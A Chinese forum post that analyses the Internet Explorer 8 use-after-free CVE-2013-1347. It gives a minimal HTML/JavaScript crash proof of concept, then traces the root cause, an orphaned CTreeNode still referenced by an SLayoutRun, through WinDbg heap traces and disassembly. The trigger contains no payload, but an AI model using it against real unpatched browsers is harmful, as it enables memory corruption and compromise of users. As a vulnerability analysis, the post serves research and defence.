深夜失眠,发篇报告压压惊....
似乎有人发过这个漏洞分析,不过貌似不是很详细哈~虽然我也不是分析的很详细~
有些没有分析清楚的地方可能是没有时间去搞了....
一个月前分析的,我记得没有参考其他人的成果,完全是从0开始的...所以有些思路可能比较幼稚和暴力...大神们轻拍....有错的地方也请指正~拜谢...
IE8 UAF(CVE-2013-1347)分析报告
一:概述
5月份的一个漏洞,大体上的原因早就搞清楚了,胃病耽误了两周,研究一些具体的细节用了很长时间。但是由于复杂的函数太多,再加上IE内部的树结构操作使用了很多复杂的算法,以前泄漏的那点代码参考价值有限,还是有一些地方弄得不是特别清楚。
另外这个漏洞的成因还是挺有代表性的,基本是目前IE漏洞的形势。
OK,废话不说了。
首先分析一下POC,在看POC之前,有几个概念需要清楚:
块元素
内联元素
具体的概念和差别可以看下面的连接(很重要)
http://www.pc6.com/infoview/Article_45877.html
下面是POC:
POC:(最精简版本,任何一条语句都不能再删了)
<!doctype html>
<HTML>
<head>
<script>
function helloWorld()
{
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
##创建3课树,并完成渲染,需要注意f0,f1,f2要是内联元素,不一定非要是span
f1.appendChild(document.createElement('table'));
f2.appendChild(document.createElement('datalist'));
##f1必须是一个块元素,f2必须要是一个内联元素(只要是内联元素就行,不一定是CGenericElement对象,这个漏洞和CGenericElement对象也没有太大的关系)
try { f2.offsetParent=null;}
catch(e) { }
##关键点1,漏洞成因!
f1.innerHTML = "";
f2.innerHTML = "";
##f1和f2都要删除
f0.appendChild(document.createElement('hr'));
##关键点2,必不可少,必须是hr标签,至少我目前还没有找到可以替代的
CollectGarbage();
}
</script>
</head>
<body onload="eval(helloWorld());">
</body>
</html>
根据POC来看,可以这个漏洞的限制点还是很多,这也说明漏洞的成因涉及很多方面。漏洞的利用比较稳定。由于win xp+IE8的组合还是有市场的(我大学的标配。。惭愧),所以漏洞的影响还是挺严重的。
二:具体分析
开启hpa和ust,GO。
0:008> !heap -p -a ecx
address 063bcfc8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
5d155c0: 63bc000 2000
7c947553 ntdll!RtlFreeHeap+0x000000f9
636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
63628a50 mshtml!CBase::SubRelease+0x00000022
63640d1b mshtml!CElement::PrivateRelease+0x00000029
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014
633a10b4 jscript!VAR::Clear+0x0000005c
6339fb4a jscript!GcContext::Reclaim+0x000000ab
6339fd33 jscript!GcContext::CollectCore+0x00000113
63405594 jscript!JsCollectGarbage+0x0000001d
633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
633a6650 jscript!VAR::InvokeByDispID+0x0000017c
633a9c0b jscript!CScriptRuntime::Run+0x00002989
633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
633a59f7 jscript!ScrFncObj::Call+0x0000008f
633a5743 jscript!CSession::Execute+0x00000175
通过查看崩溃点的栈回溯,可以很清楚的看到出问题的对象是CGenericElement对象,这也是最初很多人认为漏洞跟CGenericElement对象有关的原因。IE8对无法识别的对象都会生成CGenericElement对象。当然把datalist换成任意的一个行内元素(or 内联元素)时,如 span,a,b等,都会触发漏洞。
分析漏洞最重要的是跟踪数据流,我们要知道为什么这个已经释放的对象会被再次的引用。根据在IDA的查找可以看到:
根据IDA中的显示,可以知道ecx中的数据来自ebx,ebx中的数据即为悬挂指针。使用栈回溯查看ebx:
0:008> !heap -p -a ebx
address 04dfefb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
50bb4a0: 4dfefb0 4c - 4dfe000 2000
7c938f01 ntdll!RtlAllocateHeap+0x00000e64
637724f2 mshtml!CMarkup::InsertElementInternal+0x0000022a
6377234c mshtml!CDoc::InsertElement+0x0000008a
637727f5 mshtml!CCommentElement::`scalar deleting destructor'+0x0000023d
63772991 mshtml!CElement::InsertBeforeHelper+0x000000d1
637728b7 mshtml!CElement::insertBefore+0x0000003c
63772a38 mshtml!CElement::appendChild+0x00000039
63791a83 mshtml!Method_IDispatchpp_IDispatchp+0x000000ca
可以看到ebx正是CTreeNode的地址。
所以这里我们可以得到的结论是:CGenericElement对象的地址保存在对应的CTreeNode结构中,但是CGenericElement对象删除后,仍然可以从CTreeNode结构中找到CGenericElement的指针,并发生寻址。一般来说造成这种漏洞的原因是下面两个之一:
1) CGenericElement对象的指针存储到CTreeNode结构中时,CGenericElement的引用计数没有加一,导致CGenericElement对象提前被释放。事实上,大部分UAF漏洞都是由于这个原因造成的(比如2012年底的那个CButton对象的UAF漏洞)
2) CGenericElement对象的引用技术都是正常的。问题处在CTreeNode结构上,CTreeNode没有及时的被删除(即删除晚了),这一般是由于CTreeNode结构的引用计数错误的+1造成(当然也不绝对)。
上述的两种情况,第一种比较简单,也比较好跟踪,但是可能性其实不高(微软不是吃素的,这种低级的错误一般不会犯的)。第二种的情况就比较复杂了,因为导致的原因实在太多,也会涉及到很复杂的IE内部数据结构的操作。
我们先排查一下第一种情况吧。
在CGenericElement的CTreeNode结构创建时(637724f2 mshtml!CMarkup::InsertElementInternal+0x22a)下断点,然后跟踪CTreeNode的赋值过程,观察CGenericElement的引用计数变化(数据写断点)。
具体的过程略,可以看到在这个过程中,CGenericElement的引用计数变化是正常的。所以可以基本排除1)的可能。
所以我们初步判断该漏洞是由于没有正确的删除CTreeNode对象导致的。
为了弄清楚原因,我们需要跟踪数据流,搞清这个CTreeNode是来自哪里的。
崩溃点的栈回溯:
ChildEBP RetAddr Args to Child
038ff1f8 63602718 038ff544 08142fb0 00000000 mshtml!CElement::Doc
038ff214 636026a3 08142fb0 038ff544 08142fb0 mshtml!CTreeNode::ComputeFormats+0xb9
038ff4c0 63612a85 08142fb0 08142fb0 038ff4e0 mshtml!CTreeNode::ComputeFormatsHelper+0x44
038ff4d0 63612a45 08142fb0 08142fb0 038ff4f0 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
038ff4e0 63612a2c 08142fb0 08142fb0 038ff4fc mshtml!CTreeNode::GetFancyFormatHelper+0xf
038ff4f0 63717f30 08142fb0 038ff50c 63717f4e mshtml!CTreeNode::GetFancyFormat+0x35
038ff4fc 63717f4e 00000000 08142fb0 038ff51c mshtml!ISpanQualifier::GetFancyFormat+0x5a
038ff50c 63717afe 00000000 07dccfa0 038ff554 mshtml!SLayoutRun::HasInlineMbp+0x10
038ff51c 63724f88 00000000 00000000 07dccfa0 mshtml!SRunPointer::HasInlineMbp+0x53
038ff554 6373a5a1 038ff573 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf1
038ff58c 6382ed01 038ff5f7 038ff60b 069faff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
038ff5d8 63702e23 06d8afc8 069faf30 07cf6fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
038ff610 63708acf 069faf30 00000000 06cfcfc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
038ff6d4 6370bd31 019faf30 04dbefa8 038ff703 mshtml!CCssDocumentLayout::GetPage+0x22a
038ff844 63668184 038ffa08 038ff9a0 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x242
038ff97c 6368a1cb 04dbefa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
038ffa78 6374799d 00100000 038ffad0 07deefd8 mshtml!CLayout::DoLayout+0x11d
038ffa8c 636514de 038ffad0 038ffad0 636678c6 mshtml!CCssPageLayout::Notify+0x140
038ffa98 636678c6 00000000 07df0fb0 00000000 mshtml!NotifyElement+0x41
038ffaac 63651658 038ffad0 07df0fb0 00000000 mshtml!NotifyTreeNode+0x62
根据上图的栈回溯开始找:
从CTreeNode::GetFancyFormat到CTreeNode::ComputeFormats都是CTreeNode的函数,都是通过寄存器(ecx,eax等)传递的CTreeNode结构。所以要从ISpanQualifier::GetFancyFormat函数开始追踪数据的来源。
根据IDA:
可以看到CTreeNode是通过ISpanQualifier::GetFancyFormat的eax->esi->ecx传入到后面的函数里的。
eax里的值是来自于SLayoutRun::HasInlineMbp里的eax。而SLayoutRun::HasInlineMbp的eax是来自于SRunPointer::HasInlineMbp函数的这个地点:
这里首先是通过edi传给eax,然后执行函数SRunPointer::SpanQualifier(void)。我们现在不清楚SRunPointer::SpanQualifier(void)函数是否对eax寄存器做了修改。
实际上继续向上追踪edi的来源我们看到在CLayoutBlock::GetIsEmptyContent里:
很显然edi是函数CLayoutBlock::GetIsEmptyContent里的栈上的地址。而实际上最后的eax是CTreeNode的地址。所以可以知道SRunPointer::SpanQualifier(void)一定对eax寄存器的值做了修改。
为了更清楚的弄清edi指向的是什么结构,我们需要动态调试。如果直接在这里下断点的话是很麻烦的,因为断点会命中很多次。
我以前是根据断点命中次数来准确的断在需要的位置上的,具体的方法可以参考调试笔记,当然也可以用条件断点的方法。
我们首先来分析一下SRunPointer::SpanQualifier(void)函数:
.text:63717B12 mov eax, [eax+4]
.text:63717B15 cmp eax, 1
.text:63717B18 jz short loc_63717B31
.text:63717B1A cmp eax, 3
.text:63717B1D jz short loc_63717B31
.text:63717B1F mov ecx, [eax]
.text:63717B21 and cl, 7
.text:63717B24 cmp cl, 1
.text:63717B27 jz loc_6371B6B7
.text:63717B2D mov eax, [eax+0Ch]
.text:63717B30 retn
这个函数很简单,做了一些判断后,最后把[[eax+4]+0ch]的值赋给了eax。而这个值很显然就是CTreeNode结构的地址。我们把CGenericElement的CTreeNode结构存成$t0。
然后使用条件断点:
bp mshtml!CLayoutBlock::GetIsEmptyContent+0xec ".if (poi(poi(@edi+4)+0ch) = @$t0) {} .else {gc}"
断到了上图的位置。我们可以看到就是下面的这个结构在偏移0Ch的位置存储了CTreeNode结构:
0:008> dd poi(edi+4)
0654efd0 00000805 00000002 0652efc0 0652efb0
0654efe0 00000806 00000003 0652efd8 0652efb0
0654eff0 00000806 00000004 06190fd8 06190fb0
(注:在CLayoutBlock::GetIsEmptyContent函数中,esp+2Ch+TakeCare位置+04h就是上面这个结构的地址,为了弄清这个赋值过程,可以用命中次数的方法来跟踪。具体可以参考调试笔记。下面是结论:
在 63724f27 处下断点,命中第三次后开始分析,在上述edi+4的位置下写断点。
第一次命中:把这个地址写入1(貌似应该是正常情况)63724F4A call CTextBlock::GetFirstRun
第二次命中:63724F90 SRunPointer::MoveToNextRun(void)
写入: 19624fc0
0:008> dd 19624fc0
19624fc0 00000805 00000001 19441fc0 19441fb0
19624fd0 00000805 00000002 19421fc0 19421fb0
19624fe0 00000806 00000003 19421fd8 19421fb0
19624ff0 00000806 00000004 19441fd8 19441fb0
第三次命中和第二次情况基本一致(这个值导致了崩溃)
0:008> dd 19624fd0 (就是上一个地址+10,这个就是MoveToNextRun函数的效果)
19624fd0 00000805 00000002 19421fc0 19421fb0
19624fe0 00000806 00000003 19421fd8 19421fb0
19624ff0 00000806 00000004 19441fd8 19441fb0
0:008> r $t0
$t0=19421fb0
)
这个结构创建时候的栈回溯:
0:008> !heap -p -a 0654efd0
7c938f01 ntdll!RtlAllocateHeap+0x00000e64
6363bb00 mshtml!_HeapRealloc+0x00000036
6363bb71 mshtml!CImplAry::EnsureSizeWorker+0x000000a1
63640c74 mshtml!CImplAry::AppendIndirect+0x00000027
6371952c mshtml!CTextBlock::AddAtomRun+0x0000010d
63719ae7 mshtml!CTextBlock::BuildSpanBeginRun+0x000000c1
63718b0e mshtml!CTextBlock::BuildTextBlock+0x00000ae1
63718192 mshtml!CLayoutBlock::BuildBlock+0x000001ec
637030aa mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
63702e23 mshtml!CLayoutBlock::BuildBlock+0x000001c1
63708acf mshtml!CCssDocumentLayout::GetPage+0x0000022a
6370bd31 mshtml!CCssPageLayout::CalcSizeVirtual+0x00000242
63668184 mshtml!CLayout::CalcSize+0x000002b8
6368a1cb mshtml!CLayout::DoLayout+0x0000011d
6374799d mshtml!CCssPageLayout::Notify+0x00000140
636514de mshtml!NotifyElement+0x00000041
下面我们比较关心这个结构是什么结构以及创建时间。
首先在POC中感兴趣的语句前面都加上调试语句:
<!doctype html>
<HTML>
<head>
<script>
function helloWorld()
{
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
Math.atan2(0xbadc0de, "before datalist")
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('table'));
Math.atan2(0xbadc0de, "before offsetparent")
try { f0.offsetParent=null;}
catch(e) { }
Math.atan2(0xbadc0de, "after offsetparent")
Math.atan2(0xbadc0de, "before delete f2")
f1.innerHTML = "";
f2.innerHTML = "";
Math.atan2(0xbadc0de, "after delete f2, before delete f1")
Math.atan2(0xbadc0de, "after delete f1")
f0.appendChild(document.createElement('hr'));
Math.atan2(0xbadc0de, "after delete f1")
CollectGarbage();
Math.atan2(0xbadc0de, "after collect garbage")
}
</script>
</head>
<body onload="eval(helloWorld());">
</body>
</html>
然后设置断点:
bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;dd @$t1"
然后在 6363bb00 (mshtml!_HeapRealloc+0x36) 下断点,这个命中次数很多
使用bu 6363bb00 "r eax;gc" 使它不断下来,最后把全部的输出log拷贝出来,查找我们感兴趣的点(edi) 是在哪里创建的.
通过调试信息的输出,我们可以确定这个结构是在
try { f0.offsetParent=null;}
catch(e) { }
阶段创建的。
删除这条语句,在CollectGarbage()后,CTreeNode和CGenericElement都被删除了,所以不会触发漏洞。也就是说因为这条语句导致存在一个CTreeNode的引用,故这个CTreeNode引用计数不为0,没有被删除。
bp mshtml!_HeapRealloc+0x36 "r eax"
上面这个断点第三次命中时创建的结构就是我们关心的这个结构。
根据后面对这个结构的处理,可以知道这个结构是一个SLayoutRun结构。(这里不是百分百确定)
Math.atan2(0xbadc0de, "before offsetparent")语句之后,断点mshtml!_HeapRealloc+0x36 "r eax"命中第三次的时候即是创建这个结构X的点。
19780fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
在上边结构的19780fc0+0c和19780fd0+0c位置下写断点。通过判断可知CtreeNode结果是在下面这个函数写入的:
mshtml!SLayoutRun::SetSpanQualifier:
63749259 8bff mov edi,edi
6374925b 55 push ebp
6374925c 8bec mov ebp,esp
6374925e 8b06 mov eax,dword ptr [esi]
63749260 53 push ebx
63749261 8b5d08 mov ebx,dword ptr [ebp+8]
63749264 83650800 and dword ptr [ebp+8],0
63749268 2407 and al,7
6374926a 3c01 cmp al,1
6374926c 0f8488f30f00 je mshtml!SLayoutRun::SetSpanQualifier+0x15 (638485fa)
63749272 57 push edi
63749273 8b7e0c mov edi,dword ptr [esi+0Ch]
63749276 8bc7 mov eax,edi
63749278 e8b7ffffff call mshtml!ISpanQualifier::IsRefcounted (63749234)
6374927d 84c0 test al,al
6374927f 0f8585090100 jne mshtml!SLayoutRun::SetSpanQualifier+0x34 (63759c0a)
63749285 8bc3 mov eax,ebx
63749287 e8a8ffffff call mshtml!ISpanQualifier::IsRefcounted (63749234)
6374928c 84c0 test al,al
6374928e 5f pop edi
6374928f 7407 je mshtml!SLayoutRun::SetSpanQualifier+0x4e (63749298)
63749291 8bc3 mov eax,ebx
63749293 e870f3fcff call mshtml!ISpanQualifier::AddRef (63718608)
63749298 895e0c mov dword ptr [esi+0Ch],ebx 写入点
此时栈回溯:
0:008> kb
ChildEBP RetAddr Args to Child
038fa524 63719374 00000000 07388fb0 038fa570 mshtml!SLayoutRun::SetSpanQualifier+0x51
038fa534 63719545 00000002 00000005 07388fb0 mshtml!SLayoutRun::InitializeAtomRun+0x63
038fa570 63719ae7 038fbcb4 07388fc0 00000000 mshtml!CTextBlock::AddAtomRun+0x126
038fa5a8 63718b0e 07e5cfa0 00000002 038fbcb4 mshtml!CTextBlock::BuildSpanBeginRun+0xc1
038fbcc4 63718192 07e5cfa0 07eb8f30 07ea0fd8 mshtml!CTextBlock::BuildTextBlock+0xae1
038fbd08 637030aa 07eb8f30 07ea0fd8 04aa8fc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
038fbd88 63702e23 04aa8fc8 07eb8f30 07ea0fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
038fbdc0 63708acf 07eb8f30 00000000 04726fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
……
经过仔细跟踪,可以找到这个ebx的来源,在mshtml!CTextBlock::BuildTextBlock函数中,把var8作为参数(里面是CGenericElement对象的CTreeNode地址+10,即CTreePos)传入到BuildSpanBeginRun函数里,然后在这个函数中插入CTreeNode到那个数组里。
我们为了查明为什么对datalist这个类型的对象才会触发,而对于P这种类型的对象不会触发。故而采用对比的方法来比较(要记得控制单一变量)。
通过比对p对象的情况,可知问题出在流程上,CTextBlock::BuildTextBlock函数的ebp-2c(Critical_point)的参数是一个标志,这个值是通过函数:CTextBlock::IdentifyRunTypeToBuild来设置的,触发漏洞时,这个返回值是5,直接导致后面调用了BuildSpanBeginRun函数(通过一个switch case语句):
if ( BYTE3(a5) && Critical_point == 1 )
{
v19 = CTextBlock::BuildFirstLetterPseudoElement(a1, a2, &v94, &v96, a9, &v84, &v69);
if ( v19 < 0 )
goto LABEL_67;
if ( v27 != -1 )
{
if ( (_BYTE)a8 )
{
if ( v27 >= v26 )
{
v62 = __OFSUB__(v94, v27);
v60 = v94 == v27;
v61 = v94 - v27 < 0;
goto LABEL_260;
}
}
else
{
v63 = v27 + 1;
if ( v27 + 1 >= v26 )
{
v62 = __OFSUB__(v94, v63);
v60 = v94 == v63;
v61 = v94 - v63 < 0;
LABEL_260:
if ( !((unsigned __int8)(v61 ^ v62) | v60) )
goto LABEL_261;
goto LABEL_111;
}
}
}
}
else
{
if ( Critical_point == 1 )
{
v37 = CTextBlock::BuildCharacterRun(a1, -1, v25, &v94, a9, &v84, &v74, &v69);
}
else
{
if ( Critical_point == 2 )
{
v19 = CTextBlock::BuildLineBreakRun(a1, v25, &v94, &v96, a9, &v69);
if ( v19 < 0 )
goto LABEL_67;
goto LABEL_112;
}
if ( Critical_point != 3 )
{
if ( Critical_point == 4 )
{
v28 = CTextBlock::BuildOutOfFlowBlockRun(a1, 0, v83, v88, a3, &v94, &v96, a9);
}
else
{
if ( Critical_point == 5 )
{
v28 = CTextBlock::BuildSpanBeginRun(a1, v88, &v94, &v96, a9, &v69);
}
else
{
if ( Critical_point != 6 )
goto LABEL_261;
v28 = CTextBlock::BuildSpanEndRun(a1, v88, &v94, a9, &v69);
}
}
goto LABEL_43;
}
v37 = CTextBlock::BuildInflowBlockRun(a1, 0, v83, v88, a3, &v94, &v96, a9, &v69);
}
Critical_point这个临时变量在 63718a25 mshtml!CTextBlock::BuildTextBlock+0x8ff点调用CTextBlock::IdentifyRunTypeToBuild函数来设置。对于不触发漏洞(p)的情况,这个函数会把Critical_point设为0。
进一步来分析IdentifyRunTypeToBuild函数。
.text:6371966E loc_6371966E: ; CODE XREF: CTextBlock::IdentifyRunTypeToBuild(CTreePos const *,RUNTYPE &,bool &,BLOCKTYPE &,CTreeNode * &,_styleDisplay &,bool &)+59j
.text:6371966E mov eax, esi
.text:63719670 call ?Branch@CGeneratedContent@@SGPAVCTreeNode@@PBVCTreePos@@@Z ; CGeneratedContent::Branch(CTreePos const *)
.text:63719675 mov esi, [ebp+arg_C]
.text:63719678 lea ecx, [ebp+var_4]
.text:6371967B push ecx
.text:6371967C lea ecx, [ebp+arg_C+3]
.text:6371967F push ecx
.text:63719680 push [ebp+arg_10]
.text:63719683 mov [edi], eax
.text:63719685 push [ebp+arg_8]
.text:63719688 mov ecx, esi //作为隐蔽参数传入
.text:6371968A push eax
.text:6371968B lea eax, [ebp+arg_0]
.text:6371968E call CLayoutBlock::IdentifyBlock(CTreeNode *,BLOCKTYPE &,_styleDisplay &,bool &,bool &,RUNINDISPLAY &,CTreeNode * &)
.text:63719693 test eax, eax
在函数CLayoutBlock::IdentifyBlock执行后,对于p,eax=1,对于datalist ,eax=2。
eax=2直接导致了后续的动作,最终返回5。
通过名称可以判断,IdentifyBlock这个函数是鉴定是否元素是否为块元素的。对于块元素p,返回eax=1,就不会导致后续的CTreeNode插入到SLayoutRun里面。
对于IdentifyBlock内部的详细过程(not very important):
在IdentifyBlock函数中,对ecx下断点。比对p和datalist两种情况。
对于datalist,通过在ecx下写断点,可以知道这个地址是在GetDisplayAndPosition函数中被设为了2。
637195a8 c70602000000 mov dword ptr [esi],offset <Unloaded_ud.drv>+0x1 (00000002) ds:0023:038fbc9c=00000000
对于p,则没有
调用流程:
IdentifyRunTypeToBuild(6371968E)-> IdentifyBlock (63712432) -> 在GetDisplayAndPosition函数里完成设置
比对p和datalist的在GetDisplayAndPosition中的指令轨迹,可以知道两种情况的流程是在
636fefd0 833e00 cmp dword ptr [esi],0 ds:0023:038fbc9c=00000000
位置不一样的,进一步追踪数据,可以知道esi来自于这里的函数调用:
636feee3 e8ae2af6ff call mshtml!CTreeNode::GetFancyFormat (63661996)。
其实漏洞成因到这里已经基本弄清了。接下来还有几个问题不太清楚:
1) 为什么一定要有f1?而且f1必须是一个块级的标签(table,p)?
2) 为什么在最后需要一条:f0.appendChild(document.createElement('hr'));而且必须是hr?
对于第一个问题:
首先offsetParent=null这条语句会导致这个页面的重新渲染(or 重绘,当然可能什么也不是),这直接导致了CTreeNode结构被SLayoutRun引用。在这个过程中,IE会根据页面的标签的性质来做不同的操作,这个可能会跟块级和内联级标签的内部处理方法有关。只有紧挨着的标签(页面是一个树的结构,IE会把他转换为二叉树)是块级元素时,内联元素才会被存放在SLayoutRun结构中。
具体来说在函数mshtml!CCssDocumentLayout::GetPage中如果f1不是块级元素,就不会进入到CLayoutBlock::BuildBlock函数中(ret:63708acf),进而不会有后续的CGenericElement的CTreeNode写入SLayoutRun中。而是跳过那个判断后执行CCssPageLayout::SetupDisplayBoxForPage函数(RET:63708e51)。
创建另外的SLayoutRun结构(第三次断点命中)。而触发漏洞时(f1为table)这个SLayoutRun的创建会发生在第五次断点命中时。而这个SLayoutRun结构会马上被删除掉。故不会导致漏洞。
当然这个我也分析的不是非常清楚,GetPage函数非常复杂,以后有时间再好好逆向一下吧^ ^
对于第二个问题:
a:没有这条语句的时候,CGenericElement的CTreeNode和CElement都不会被删除。有了这条语句时,如果hr换成别的东西,都会导致删除CGenericElement的CTreeNode和CElement。(正常来说CGenericElement的CTreeNode和CElement都会删除掉,但是在触发漏洞时,由于CTreeNode意外的被SLayoutRun引用导致没有删除,进而触发了漏洞!,这个就是漏洞的根本成因)
b:只有hr标签才会进入一个会调用SLayoutRun结构的流程里。因为hr是一条水平分割线,会把文档分隔成各个部分,这跟hr标签的实现有关, 因为SLayoutRun结构中还有DOM树上的节点引用,IE会判断页面非空,因为要做分隔的操作,所以会走到寻址CTreeNode的流程中。
三:总结
CGenericElement的释放是没有问题,这个漏洞的根本原因是指向CGenericElement的CTreeNode没有被删除。原因是CTreeNode意外的在SLayoutRun结构中有一份引用。这里说意外,是指innerHTML=””操作之后,CTreeNode已经从树上卸了下来,这个时候CTreeNode已经是没有用的了。但是因为被SLayoutRun引用,导致CTreeNode引用计数不为0,故在后续的清理操作中没有被释放。
这个漏洞跟CVE-2013-1288(CVE-2013-0025)本质上都是一样的。都是因为CTreeNode被意外的引用(CVE-2013-1288:CtreePos->CTreeNode->CParaElement)。
而这些其实都是时序的问题,按照正常的顺序或流程来执行,是不会产生任何问题的,但是如果执行顺序中意外的插入了其他的操作,而且并没有通知后续的动作,就会导致一些意外的有趣的事情发生。一般会造成这种情况的可能是settimeout,onload等动作的介入,也可能是提前的渲染等等。
由于这种漏洞的无规律性,导致很难被系统的挖掘出来。所以以后的Fuzz一定要注意时序的问题。当然,这需要运气和耐心。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)